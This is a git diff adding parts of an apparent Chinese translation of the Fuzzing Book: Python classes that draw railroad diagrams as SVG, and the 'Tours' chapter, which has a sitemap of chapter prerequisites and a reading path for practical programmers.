+                self.up += max(arcs, item.height + item.down
+                               + C.VS + self.items[i + 1].up)
+            elif i == default:
+                continue
+            else:
+                self.down += max(arcs, item.up + C.VS
+                                 + self.items[i - 1].down + self.items[i - 1].height)
+        # already counted in self.height
+        self.down -= self.items[default].height
+        addDebug(self)
+
+    def __repr__(self):
+        items = ', '.join(repr(item) for item in self.items)
+        return 'Choice(%r, %s)' % (self.default, items)
+
+    def format(self, x, y, width):
+        leftGap, rightGap = determineGaps(width, self.width)
+
+        # Hook up the two sides if self is narrower than its stated width.
+        Path(x, y).h(leftGap).addTo(self)
+        Path(x + leftGap + self.width, y + self.height).h(rightGap).addTo(self)
+        x += leftGap
+
+        innerWidth = self.width - C.AR * 4
+        default = self.items[self.default]
+
+        # Do the elements that curve above
+        above = self.items[:self.default][::-1]
+        if above:
+            distanceFromY = max(
+                C.AR * 2,
+                default.up
+                + C.VS
+                + above[0].down
+                + above[0].height)
+        for i, ni, item in doubleenumerate(above):
+            Path(x, y).arc('se').up(distanceFromY
+                                    - C.AR * 2).arc('wn').addTo(self)
+            item.format(x + C.AR * 2, y - distanceFromY,
+                        innerWidth).addTo(self)
+            Path(x + C.AR * 2 + innerWidth, y - distanceFromY + item.height).arc('ne') \
+                .down(distanceFromY - item.height + default.height - C.AR * 2).arc('ws').addTo(self)
+            if ni < -1:
+                distanceFromY += max(
+                    C.AR,
+                    item.up
+                    + C.VS
+                    + above[i + 1].down
+                    + above[i + 1].height)
+
+        # Do the straight-line path.
+        Path(x, y).right(C.AR * 2).addTo(self)
+        self.items[self.default].format(
+            x + C.AR * 2, y, innerWidth).addTo(self)
+        Path(x + C.AR * 2 + innerWidth, y
+             + self.height).right(C.AR * 2).addTo(self)
+
+        # Do the elements that curve below
+        below = self.items[self.default + 1:]
+        if below:
+            distanceFromY = max(
+                C.AR * 2,
+                default.height
+                + default.down
+                + C.VS
+                + below[0].up)
+        for i, item in enumerate(below):
+            Path(x, y).arc('ne').down(
+                distanceFromY - C.AR * 2).arc('ws').addTo(self)
+            item.format(x + C.AR * 2, y + distanceFromY,
+                        innerWidth).addTo(self)
+            Path(x + C.AR * 2 + innerWidth, y + distanceFromY + item.height).arc('se') \
+                .up(distanceFromY - C.AR * 2 + item.height - default.height).arc('wn').addTo(self)
+            distanceFromY += max(
+                C.AR,
+                item.height
+                + item.down
+                + C.VS
+                + (below[i + 1].up if i + 1 < len(below) else 0))
+        return self
+
+```
+
+```py
+class MultipleChoice(DiagramItem):
+    def __init__(self, default, type, *items):
+        DiagramItem.__init__(self, 'g')
+        assert 0 <= default < len(items)
+        assert type in ["any", "all"]
+        self.default = default
+        self.type = type
+        self.needsSpace = True
+        self.items = [wrapString(item) for item in items]
+        self.innerWidth = max(item.width for item in self.items)
+        self.width = 30 + C.AR + self.innerWidth + C.AR + 20
+        self.up = self.items[0].up
+        self.down = self.items[-1].down
+        self.height = self.items[default].height
+        for i, item in enumerate(self.items):
+            if i in [default - 1, default + 1]:
+                minimum = 10 + C.AR
+            else:
+                minimum = C.AR
+            if i < default:
+                self.up += max(minimum, item.height
+                               + item.down + C.VS + self.items[i + 1].up)
+            elif i == default:
+                continue
+            else:
+                self.down += max(minimum, item.up + C.VS
+                                 + self.items[i - 1].down + self.items[i - 1].height)
+        # already counted in self.height
+        self.down -= self.items[default].height
+        addDebug(self)
+
+    def __repr__(self):
+        items = ', '.join(map(repr, self.items))
+        return 'MultipleChoice(%r, %r, %s)' % (self.default, self.type, items)
+
+    def format(self, x, y, width):
+        leftGap, rightGap = determineGaps(width, self.width)
+
+        # Hook up the two sides if self is narrower than its stated width.
+        Path(x, y).h(leftGap).addTo(self)
+        Path(x + leftGap + self.width, y + self.height).h(rightGap).addTo(self)
+        x += leftGap
+
+        default = self.items[self.default]
+
+        # Do the elements that curve above
+        above = self.items[:self.default][::-1]
+        if above:
+            distanceFromY = max(
+                10 + C.AR,
+                default.up
+                + C.VS
+                + above[0].down
+                + above[0].height)
+        for i, ni, item in doubleenumerate(above):
+            (Path(x + 30, y)
+                .up(distanceFromY - C.AR)
+                .arc('wn')
+                .addTo(self))
+            item.format(x + 30 + C.AR, y - distanceFromY,
+                        self.innerWidth).addTo(self)
+            (Path(x + 30 + C.AR + self.innerWidth, y - distanceFromY + item.height)
+                .arc('ne')
+                .down(distanceFromY - item.height + default.height - C.AR - 10)
+                .addTo(self))
+            if ni < -1:
+                distanceFromY += max(
+                    C.AR,
+                    item.up
+                    + C.VS
+                    + above[i + 1].down
+                    + above[i + 1].height)
+
+        # Do the straight-line path.
+        Path(x + 30, y).right(C.AR).addTo(self)
+        self.items[self.default].format(
+            x + 30 + C.AR, y, self.innerWidth).addTo(self)
+        Path(x + 30 + C.AR + self.innerWidth, y
+             + self.height).right(C.AR).addTo(self)
+
+        # Do the elements that curve below
+        below = self.items[self.default + 1:]
+        if below:
+            distanceFromY = max(
+                10 + C.AR,
+                default.height
+                + default.down
+                + C.VS
+                + below[0].up)
+        for i, item in enumerate(below):
+            (Path(x + 30, y)
+                .down(distanceFromY - C.AR)
+                .arc('ws')
+                .addTo(self))
+            item.format(x + 30 + C.AR, y + distanceFromY,
+                        self.innerWidth).addTo(self)
+            (Path(x + 30 + C.AR + self.innerWidth, y + distanceFromY + item.height)
+                .arc('se')
+                .up(distanceFromY - C.AR + item.height - default.height - 10)
+                .addTo(self))
+            distanceFromY += max(
+                C.AR,
+                item.height
+                + item.down
+                + C.VS
+                + (below[i + 1].up if i + 1 < len(below) else 0))
+        text = DiagramItem('g', attrs={"class": "diagram-text"}).addTo(self)
+        DiagramItem('title', text="take one or more branches, once each, in any order" if self.type
+                    == "any" else "take all branches, once each, in any order").addTo(text)
+        DiagramItem('path', attrs={
+            "d": "M {x}  {y} h -26 a 4 4 0 0 0 -4 4 v 12 a 4 4 0 0 0 4 4 h 26 z".format(x=x + 30, y=y - 10),
+            "class": "diagram-text"
+        }).addTo(text)
+        DiagramItem('text', text="1+" if self.type == "any" else "all", attrs={
+            "x": x + 15,
+            "y": y + 4,
+            "class": "diagram-text"
+        }).addTo(text)
+        DiagramItem('path', attrs={
+            "d": "M {x}  {y} h 16 a 4 4 0 0 1 4 4 v 12 a 4 4 0 0 1 -4 4 h -16 z".format(x=x + self.width - 20, y=y - 10),
+            "class": "diagram-text"
+        }).addTo(text)
+        DiagramItem('text', text=u"↺", attrs={
+            "x": x + self.width - 10,
+            "y": y + 4,
+            "class": "diagram-arrow"
+        }).addTo(text)
+        return self
+
+```
+
+```py
+class HorizontalChoice(DiagramItem):
+    def __new__(cls, *items):
+        if len(items) <= 1:
+            return Sequence(*items)
+        else:
+            return super(HorizontalChoice, cls).__new__(cls)
+
+    def __init__(self, *items):
+        DiagramItem.__init__(self, 'g')
+        self.items = [wrapString(item) for item in items]
+        allButLast = self.items[:-1]
+        middles = self.items[1:-1]
+        first = self.items[0]
+        last = self.items[-1]
+        self.needsSpace = False
+
+        self.width = (C.AR  # starting track
+                      + C.AR * 2 * (len(self.items) - 1)  # inbetween tracks
+                      + sum(x.width + (20 if x.needsSpace else 0)
+                            for x in self.items)  # items
+                      # needs space to curve up
+                      + (C.AR if last.height > 0 else 0)
+                      + C.AR)  # ending track
+
+        # Always exits at entrance height
+        self.height = 0
+
+        # All but the last have a track running above them
+        self._upperTrack = max(
+            C.AR * 2,
+            C.VS,
+            max(x.up for x in allButLast) + C.VS
+        )
+        self.up = max(self._upperTrack, last.up)
+
+        # All but the first have a track running below them
+        # Last either straight-lines or curves up, so has different calculation
+        self._lowerTrack = max(
+            C.VS,
+            max(x.height + max(x.down + C.VS, C.AR * 2)
+                for x in middles) if middles else 0,
+            last.height + last.down + C.VS
+        )
+        if first.height < self._lowerTrack:
+            # Make sure there's at least 2*C.AR room between first exit and
+            # lower track
+            self._lowerTrack = max(self._lowerTrack, first.height + C.AR * 2)
+        self.down = max(self._lowerTrack, first.height + first.down)
+
+        addDebug(self)
+
+    def format(self, x, y, width):
+        # Hook up the two sides if self is narrower than its stated width.
+        leftGap, rightGap = determineGaps(width, self.width)
+        Path(x, y).h(leftGap).addTo(self)
+        Path(x + leftGap + self.width, y + self.height).h(rightGap).addTo(self)
+        x += leftGap
+
+        first = self.items[0]
+        last = self.items[-1]
+
+        # upper track
+        upperSpan = (sum(x.width + (20 if x.needsSpace else 0) for x in self.items[:-1])
+                     + (len(self.items) - 2) * C.AR * 2
+                     - C.AR)
+        (Path(x, y)
+            .arc('se')
+            .up(self._upperTrack - C.AR * 2)
+            .arc('wn')
+            .h(upperSpan)
+            .addTo(self))
+
+        # lower track
+        lowerSpan = (sum(x.width + (20 if x.needsSpace else 0) for x in self.items[1:])
+                     + (len(self.items) - 2) * C.AR * 2
+                     + (C.AR if last.height > 0 else 0)
+                     - C.AR)
+        lowerStart = x + C.AR + first.width + \
+            (20 if first.needsSpace else 0) + C.AR * 2
+        (Path(lowerStart, y + self._lowerTrack)
+            .h(lowerSpan)
+            .arc('se')
+            .up(self._lowerTrack - C.AR * 2)
+            .arc('wn')
+            .addTo(self))
+
+        # Items
+        for [i, item] in enumerate(self.items):
+            # input track
+            if i == 0:
+                (Path(x, y)
+                    .h(C.AR)
+                    .addTo(self))
+                x += C.AR
+            else:
+                (Path(x, y - self._upperTrack)
+                    .arc('ne')
+                    .v(self._upperTrack - C.AR * 2)
+                    .arc('ws')
+                    .addTo(self))
+                x += C.AR * 2
+
+            # item
+            itemWidth = item.width + (20 if item.needsSpace else 0)
+            item.format(x, y, itemWidth).addTo(self)
+            x += itemWidth
+
+            # output track
+            if i == len(self.items) - 1:
+                if item.height == 0:
+                    (Path(x, y)
+                        .h(C.AR)
+                        .addTo(self))
+                else:
+                    (Path(x, y + item.height)
+                        .arc('se')
+                        .addTo(self))
+            elif i == 0 and item.height > self._lowerTrack:
+                # Needs to arc up to meet the lower track, not down.
+                if item.height - self._lowerTrack >= C.AR * 2:
+                    (Path(x, y + item.height)
+                        .arc('se')
+                        .v(self._lowerTrack - item.height + C.AR * 2)
+                        .arc('wn')
+                        .addTo(self))
+                else:
+                    # Not enough space to fit two arcs
+                    # so just bail and draw a straight line for now.
+                    (Path(x, y + item.height)
+                        .ll(C.AR * 2, self._lowerTrack - item.height)
+                        .addTo(self))
+            else:
+                (Path(x, y + item.height)
+                    .arc('ne')
+                    .v(self._lowerTrack - item.height - C.AR * 2)
+                    .arc('ws')
+                    .addTo(self))
+        return self
+
+```
+
+```py
+def Optional(item, skip=False):
+    return Choice(0 if skip else 1, Skip(), item)
+
+```
+
+```py
+class OneOrMore(DiagramItem):
+    def __init__(self, item, repeat=None):
+        DiagramItem.__init__(self, 'g')
+        repeat = repeat or Skip()
+        self.item = wrapString(item)
+        self.rep = wrapString(repeat)
+        self.width = max(self.item.width, self.rep.width) + C.AR * 2
+        self.height = self.item.height
+        self.up = self.item.up
+        self.down = max(
+            C.AR * 2,
+            self.item.down + C.VS + self.rep.up + self.rep.height + self.rep.down)
+        self.needsSpace = True
+        addDebug(self)
+
+    def format(self, x, y, width):
+        leftGap, rightGap = determineGaps(width, self.width)
+
+        # Hook up the two sides if self is narrower than its stated width.
+        Path(x, y).h(leftGap).addTo(self)
+        Path(x + leftGap + self.width, y + self.height).h(rightGap).addTo(self)
+        x += leftGap
+
+        # Draw item
+        Path(x, y).right(C.AR).addTo(self)
+        self.item.format(x + C.AR, y, self.width - C.AR * 2).addTo(self)
+        Path(x + self.width - C.AR, y + self.height).right(C.AR).addTo(self)
+
+        # Draw repeat arc
+        distanceFromY = max(C.AR * 2, self.item.height
+                            + self.item.down + C.VS + self.rep.up)
+        Path(x + C.AR, y).arc('nw').down(distanceFromY - C.AR * 2) \
+            .arc('ws').addTo(self)
+        self.rep.format(x + C.AR, y + distanceFromY,
+                        self.width - C.AR * 2).addTo(self)
+        Path(x + self.width - C.AR, y + distanceFromY + self.rep.height).arc('se') \
+            .up(distanceFromY - C.AR * 2 + self.rep.height - self.item.height).arc('en').addTo(self)
+
+        return self
+
+    def __repr__(self):
+        return 'OneOrMore(%r, repeat=%r)' % (self.item, self.rep)
+
+```
+
+```py
+def ZeroOrMore(item, repeat=None, skip=False):
+    result = Optional(OneOrMore(item, repeat), skip)
+    return result
+
+```
+
+```py
+class Start(DiagramItem):
+    def __init__(self, type="simple", label=None):
+        DiagramItem.__init__(self, 'g')
+        if label:
+            self.width = max(20, len(label) * C.CHAR_WIDTH + 10)
+        else:
+            self.width = 20
+        self.up = 10
+        self.down = 10
+        self.type = type
+        self.label = label
+        addDebug(self)
+
+    def format(self, x, y, _width):
+        path = Path(x, y - 10)
+        if self.type == "complex":
+            path.down(20).m(0, -10).right(self.width).addTo(self)
+        else:
+            path.down(20).m(10, -20).down(20).m(-10,
+                                                - 10).right(self.width).addTo(self)
+        if self.label:
+            DiagramItem('text', attrs={
+                        "x": x, "y": y - 15, "style": "text-anchor:start"}, text=self.label).addTo(self)
+        return self
+
+    def __repr__(self):
+        return 'Start(type=%r, label=%r)' % (self.type, self.label)
+
+```
+
+```py
+class End(DiagramItem):
+    def __init__(self, type="simple"):
+        DiagramItem.__init__(self, 'path')
+        self.width = 20
+        self.up = 10
+        self.down = 10
+        self.type = type
+        addDebug(self)
+
+    def format(self, x, y, _width):
+        if self.type == "simple":
+            self.attrs['d'] = 'M {0}  {1} h 20 m -10 -10 v 20 m 10 -20 v 20'.format(
+                x, y)
+        elif self.type == "complex":
+            self.attrs['d'] = 'M {0}  {1} h 20 m 0 -10 v 20'
+        return self
+
+    def __repr__(self):
+        return 'End(type=%r)' % self.type
+
+```
+
+```py
+class Terminal(DiagramItem):
+    def __init__(self, text, href=None, title=None):
+        DiagramItem.__init__(self, 'g', {'class': 'terminal'})
+        self.text = text
+        self.href = href
+        self.title = title
+        self.width = len(text) * C.CHAR_WIDTH + 20
+        self.up = 11
+        self.down = 11
+        self.needsSpace = True
+        addDebug(self)
+
+    def __repr__(self):
+        return 'Terminal(%r, href=%r, title=%r)' % (
+            self.text, self.href, self.title)
+
+    def format(self, x, y, width):
+        leftGap, rightGap = determineGaps(width, self.width)
+
+        # Hook up the two sides if self is narrower than its stated width.
+        Path(x, y).h(leftGap).addTo(self)
+        Path(x + leftGap + self.width, y).h(rightGap).addTo(self)
+
+        DiagramItem('rect', {'x': x + leftGap, 'y': y - 11, 'width': self.width,
+                             'height': self.up + self.down, 'rx': 10, 'ry': 10}).addTo(self)
+        text = DiagramItem('text', {'x': x + width / 2, 'y': y + 4}, self.text)
+        if self.href is not None:
+            a = DiagramItem('a', {'xlink:href': self.href}, text).addTo(self)
+            text.addTo(a)
+        else:
+            text.addTo(self)
+        if self.title is not None:
+            DiagramItem('title', {}, self.title).addTo(self)
+        return self
+
+```
+
+```py
+class NonTerminal(DiagramItem):
+    def __init__(self, text, href=None, title=None):
+        DiagramItem.__init__(self, 'g', {'class': 'non-terminal'})
+        self.text = text
+        self.href = href
+        self.title = title
+        self.width = len(text) * C.CHAR_WIDTH + 20
+        self.up = 11
+        self.down = 11
+        self.needsSpace = True
+        addDebug(self)
+
+    def __repr__(self):
+        return 'NonTerminal(%r, href=%r, title=%r)' % (
+            self.text, self.href, self.title)
+
+    def format(self, x, y, width):
+        leftGap, rightGap = determineGaps(width, self.width)
+
+        # Hook up the two sides if self is narrower than its stated width.
+        Path(x, y).h(leftGap).addTo(self)
+        Path(x + leftGap + self.width, y).h(rightGap).addTo(self)
+
+        DiagramItem('rect', {'x': x + leftGap, 'y': y - 11, 'width': self.width,
+                             'height': self.up + self.down}).addTo(self)
+        text = DiagramItem('text', {'x': x + width / 2, 'y': y + 4}, self.text)
+        if self.href is not None:
+            a = DiagramItem('a', {'xlink:href': self.href}, text).addTo(self)
+            text.addTo(a)
+        else:
+            text.addTo(self)
+        if self.title is not None:
+            DiagramItem('title', {}, self.title).addTo(self)
+        return self
+
+```
+
+```py
+class Comment(DiagramItem):
+    def __init__(self, text, href=None, title=None):
+        DiagramItem.__init__(self, 'g')
+        self.text = text
+        self.href = href
+        self.title = title
+        self.width = len(text) * C.COMMENT_CHAR_WIDTH + 10
+        self.up = 11
+        self.down = 11
+        self.needsSpace = True
+        addDebug(self)
+
+    def __repr__(self):
+        return 'Comment(%r, href=%r, title=%r)' % (
+            self.text, self.href, self.title)
+
+    def format(self, x, y, width):
+        leftGap, rightGap = determineGaps(width, self.width)
+
+        # Hook up the two sides if self is narrower than its stated width.
+        Path(x, y).h(leftGap).addTo(self)
+        Path(x + leftGap + self.width, y).h(rightGap).addTo(self)
+
+        text = DiagramItem(
+            'text', {'x': x + width / 2, 'y': y + 5, 'class': 'comment'}, self.text)
+        if self.href is not None:
+            a = DiagramItem('a', {'xlink:href': self.href}, text).addTo(self)
+            text.addTo(a)
+        else:
+            text.addTo(self)
+        if self.title is not None:
+            DiagramItem('title', {}, self.title).addTo(self)
+        return self
+
+```
+
+```py
+class Skip(DiagramItem):
+    def __init__(self):
+        DiagramItem.__init__(self, 'g')
+        self.width = 0
+        self.up = 0
+        self.down = 0
+        addDebug(self)
+
+    def format(self, x, y, width):
+        Path(x, y).right(width).addTo(self)
+        return self
+
+    def __repr__(self):
+        return 'Skip()'
+
+```
+
+```py
+def show_diagram(graph, log=False):
+    with io.StringIO() as f:
+        d = Diagram(graph)
+        if log:
+            print(d)
+        d.writeSvg(f.write)
+        mysvg = f.getvalue()
+        return mysvg
+
+```
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/5.md b/new/fuzzing-book-zh/5.md
new file mode 100644
index 0000000000000000000000000000000000000000..37bede2f56f23c0715a0124e63bb1bbc7b400a31
--- /dev/null
+++ b/new/fuzzing-book-zh/5.md
@@ -0,0 +1,131 @@
+# 翻阅本书
+
+> 原文： [https://www.fuzzingbook.org/html/Tours.html](https://www.fuzzingbook.org/html/Tours.html)
+
+本书是*大量的*。 凭借17,000行代码和125,000个文本单词，印刷版本将覆盖1,000多个文本页面。 显然，我们不认为每个人都想阅读所有内容。
+
+本书的各章可以一章又一章地阅读，但本书中有许多可能的路径。 在此图中，箭头$ A \ rightarrow B $表示章节$ A $是章节$ B $的前提。 您可以在该图中选择任意路径，以获取最感兴趣的主题：
+
+```py
+from [IPython.display](https://ipython.readthedocs.io/en/stable/api/generated/IPython.display.html) import SVG
+
+```
+
+```py
+SVG(filename='PICS/Sitemap.svg')
+
+```
+
+<svg height="548pt" viewBox="0.00 0.00 1737.00 548.00" width="1737pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 544)"><title>%3</title> <g class="node" id="node1"><title>Fuzzer</title> <g id="a_node1"><a xlink:href="Fuzzer.html" xlink:title="Fuzzer"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="1056" y="-446.3">Fuzzing: Breaking Things with Random Inputs</text></a></g></g> <g class="node" id="node2"><title>Coverage</title> <g id="a_node2"><a xlink:href="Coverage.html" xlink:title="Coverage"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="1101" y="-302.3">Code Coverage</text></a></g></g> <g class="edge" id="edge1"><title>Fuzzer->Coverage</title></g> <g class="node" id="node3"><title>SearchBasedFuzzer</title> <g id="a_node3"><a xlink:href="SearchBasedFuzzer.html" xlink:title="SearchBasedFuzzer"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="1056" y="-374.3">Search-Based Fuzzing</text></a></g></g> <g class="edge" id="edge2"><title>Fuzzer->SearchBasedFuzzer</title></g> <g class="node" id="node4"><title>Grammars</title> <g id="a_node4"><a xlink:href="Grammars.html" xlink:title="Grammars"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="745" y="-374.3">Fuzzing with Grammars</text></a></g></g> <g class="edge" id="edge3"><title>Fuzzer->Grammars</title></g> <g class="node" id="node5"><title>SymbolicFuzzer</title> <g id="a_node5"><a xlink:href="SymbolicFuzzer.html" xlink:title="SymbolicFuzzer"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="1213" y="-374.3">Symbolic Fuzzing</text></a></g></g> <g class="edge" id="edge4"><title>Fuzzer->SymbolicFuzzer</title></g> <g class="node" id="node6"><title>FuzzingInTheLarge</title> <g id="a_node6"><a xlink:href="FuzzingInTheLarge.html" xlink:title="FuzzingInTheLarge"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="1365" y="-374.3">Fuzzing in the Large</text></a></g></g> <g class="edge" id="edge5"><title>Fuzzer->FuzzingInTheLarge</title></g> <g class="node" id="node8"><title>MutationFuzzer</title> <g id="a_node8"><a xlink:href="MutationFuzzer.html" xlink:title="MutationFuzzer"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="1267" y="-230.3">Mutation-Based Fuzzing</text></a></g></g> <g class="edge" id="edge7"><title>Coverage->MutationFuzzer</title></g> <g class="node" id="node9"><title>MutationAnalysis</title> <g id="a_node9"><a xlink:href="MutationAnalysis.html" xlink:title="MutationAnalysis"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="1435" y="-230.3">Mutation Analysis</text></a></g></g> <g class="edge" id="edge8"><title>Coverage->MutationAnalysis</title></g> <g class="node" id="node10"><title>GrammarCoverageFuzzer</title> <g id="a_node10"><a xlink:href="GrammarCoverageFuzzer.html" xlink:title="GrammarCoverageFuzzer"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="885" y="-230.3">Grammar Coverage</text></a></g></g> <g class="edge" id="edge9"><title>Coverage->GrammarCoverageFuzzer</title></g> <g class="node" id="node11"><title>ProbabilisticGrammarFuzzer</title> <g id="a_node11"><a xlink:href="ProbabilisticGrammarFuzzer.html" xlink:title="ProbabilisticGrammarFuzzer"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="290" y="-158.3">Probabilistic Grammar Fuzzing</text></a></g></g> <g class="edge" id="edge10"><title>Coverage->ProbabilisticGrammarFuzzer</title></g> <g class="node" id="node12"><title>ConcolicFuzzer</title> <g id="a_node12"><a xlink:href="ConcolicFuzzer.html" xlink:title="ConcolicFuzzer"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="697" y="-86.3">Concolic Fuzzing</text></a></g></g> <g class="edge" id="edge11"><title>Coverage->ConcolicFuzzer</title></g> <g class="node" id="node13"><title>DynamicInvariants</title> <g id="a_node13"><a xlink:href="DynamicInvariants.html" xlink:title="DynamicInvariants"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="1624" y="-230.3">Mining Function Specifications</text></a></g></g> <g class="edge" id="edge12"><title>Coverage->DynamicInvariants</title></g> <g class="node" id="node14"><title>WhenToStopFuzzing</title> <g id="a_node14"><a xlink:href="WhenToStopFuzzing.html" xlink:title="WhenToStopFuzzing"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="1048" y="-230.3">When To Stop Fuzzing</text></a></g></g> <g class="edge" id="edge13"><title>Coverage->WhenToStopFuzzing</title></g> <g class="node" id="node17"><title>GrammarFuzzer</title> <g id="a_node17"><a xlink:href="GrammarFuzzer.html" xlink:title="GrammarFuzzer"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="633" y="-302.3">Efficient Grammar Fuzzing</text></a></g></g> <g class="edge" id="edge16"><title>Grammars->GrammarFuzzer</title></g> <g class="node" id="node7"><title>Intro_Testing</title> <g id="a_node7"><a xlink:href="Intro_Testing.html" xlink:title="Intro_Testing"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="1056" y="-518.3">Introduction to Software Testing</text></a></g></g> <g class="edge" id="edge6"><title>Intro_Testing->Fuzzer</title></g> <g class="node" id="node15"><title>GreyboxFuzzer</title> <g id="a_node15"><a xlink:href="GreyboxFuzzer.html" xlink:title="GreyboxFuzzer"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="1255" y="-158.3">Greybox Fuzzing</text></a></g></g> <g class="edge" id="edge14"><title>MutationFuzzer->GreyboxFuzzer</title></g> <g class="node" id="node22"><title>GrammarMiner</title> <g id="a_node22"><a xlink:href="GrammarMiner.html" xlink:title="GrammarMiner"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="519" y="-86.3">Mining Input Grammars</text></a></g></g> <g class="edge" id="edge22"><title>GrammarCoverageFuzzer->GrammarMiner</title></g> <g class="node" id="node23"><title>ConfigurationFuzzer</title> <g id="a_node23"><a xlink:href="ConfigurationFuzzer.html" xlink:title="ConfigurationFuzzer"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="1008" y="-158.3">Testing Configurations</text></a></g></g> <g class="edge" id="edge23"><title>GrammarCoverageFuzzer->ConfigurationFuzzer</title></g> <g class="node" id="node24"><title>Carver</title> <g id="a_node24"><a xlink:href="Carver.html" xlink:title="Carver"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="703" y="-14.3">Carving Unit Tests</text></a></g></g> <g class="edge" id="edge24"><title>GrammarCoverageFuzzer->Carver</title></g> <g class="node" id="node25"><title>GUIFuzzer</title> <g id="a_node25"><a xlink:href="GUIFuzzer.html" xlink:title="GUIFuzzer"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="762" y="-158.3">Testing Graphical User Interfaces</text></a></g></g> <g class="edge" id="edge25"><title>GrammarCoverageFuzzer->GUIFuzzer</title></g> <g class="node" id="node27"><title>APIFuzzer</title> <g id="a_node27"><a xlink:href="APIFuzzer.html" xlink:title="APIFuzzer"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="290" y="-86.3">Fuzzing APIs</text></a></g></g> <g class="edge" id="edge29"><title>ProbabilisticGrammarFuzzer->APIFuzzer</title></g> <g class="node" id="node16"><title>GreyboxGrammarFuzzer</title> <g id="a_node16"><a xlink:href="GreyboxGrammarFuzzer.html" xlink:title="GreyboxGrammarFuzzer"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="947" y="-86.3">Greybox Fuzzing with Grammars</text></a></g></g> <g class="edge" id="edge15"><title>GreyboxFuzzer->GreyboxGrammarFuzzer</title></g> <g class="edge" id="edge17"><title>GrammarFuzzer->GrammarCoverageFuzzer</title></g> <g class="node" id="node18"><title>Parser</title> <g id="a_node18"><a xlink:href="Parser.html" xlink:title="Parser"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="553" y="-230.3">Parsing Inputs</text></a></g></g> <g class="edge" id="edge18"><title>GrammarFuzzer->Parser</title></g> <g class="node" id="node19"><title>GeneratorGrammarFuzzer</title> <g id="a_node19"><a xlink:href="GeneratorGrammarFuzzer.html" xlink:title="GeneratorGrammarFuzzer"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="84" y="-158.3">Fuzzing with Generators</text></a></g></g> <g class="edge" id="edge19"><title>GrammarFuzzer->GeneratorGrammarFuzzer</title></g> <g class="node" id="node20"><title>Reducer</title> <g id="a_node20"><a xlink:href="Reducer.html" xlink:title="Reducer"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="292" y="-230.3">Reducing Failure-Inducing Inputs</text></a></g></g> <g class="edge" id="edge20"><title>GrammarFuzzer->Reducer</title></g> <g class="node" id="node21"><title>WebFuzzer</title> <g id="a_node21"><a xlink:href="WebFuzzer.html" xlink:title="WebFuzzer"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="712" y="-230.3">Testing Web Applications</text></a></g></g> <g class="edge" id="edge21"><title>GrammarFuzzer->WebFuzzer</title></g> <g class="edge" id="edge26"><title>Parser->ProbabilisticGrammarFuzzer</title></g> <g class="edge" id="edge27"><title>Parser->GreyboxGrammarFuzzer</title></g> <g class="node" id="node26"><title>InformationFlow</title> <g id="a_node26"><a xlink:href="InformationFlow.html" xlink:title="InformationFlow"><text fill="#b03a2e" font-family="Patua One" font-size="14.00" text-anchor="middle" x="504" y="-158.3">Tracking Information Flow</text></a></g></g> <g class="edge" id="edge28"><title>Parser->InformationFlow</title></g> <g class="edge" id="edge30"><title>GeneratorGrammarFuzzer->APIFuzzer</title></g> <g class="edge" id="edge34"><title>WebFuzzer->GUIFuzzer</title></g> <g class="edge" id="edge32"><title>InformationFlow->ConcolicFuzzer</title></g> <g class="edge" id="edge31"><title>InformationFlow->GrammarMiner</title></g> <g class="edge" id="edge33"><title>APIFuzzer->Carver</title></g></g></svg>
+
+但是，由于即使这张地图也可能让人不知所措，因此这里有一些*游览*可以帮助您入门。 根据您是程序员，学生还是研究人员，这些游览中的每一个都可以使您专注于特定视图。
+
+## 实用程序员之旅
+
+您有一个要测试的程序。 您希望尽快并尽可能彻底地生成测试。 您不太在乎如何实现某些东西，但是它应该可以完成工作。 您要讲到重点。
+
+1.  **从[开始测试简介](Intro_Testing.html)以获取基本概念。** （无论如何，您都会了解其中的大多数内容，但是快速获得提醒不会受到伤害）。
+
+2.  **使用[中有关“模糊器”](Fuzzer.html)** 的章节中的简单模糊器，以对您的程序进行测试，以测试其最初的随机输入。
+
+3.  **从程序**获得[覆盖率](Coverage.html)，并使用覆盖率信息来[指导测试生成朝代码覆盖率](GreyboxFuzzer.html)方向发展。
+
+4.  **为程序**定义[输入语法](Grammars.html)，并使用此语法以语法正确的输入彻底模糊程序。 作为模糊器，我们建议使用[语法覆盖率模糊器](GrammarCoverageFuzzer)，因为这样可以确保输入元素的覆盖率。
+
+5.  如果希望**对生成的输入有更多控制，则**考虑使用发生器功能进行[概率模糊](ProbabilisticGrammarFuzzer.html)和[模糊。](GeneratorGrammarFuzzer.html)
+
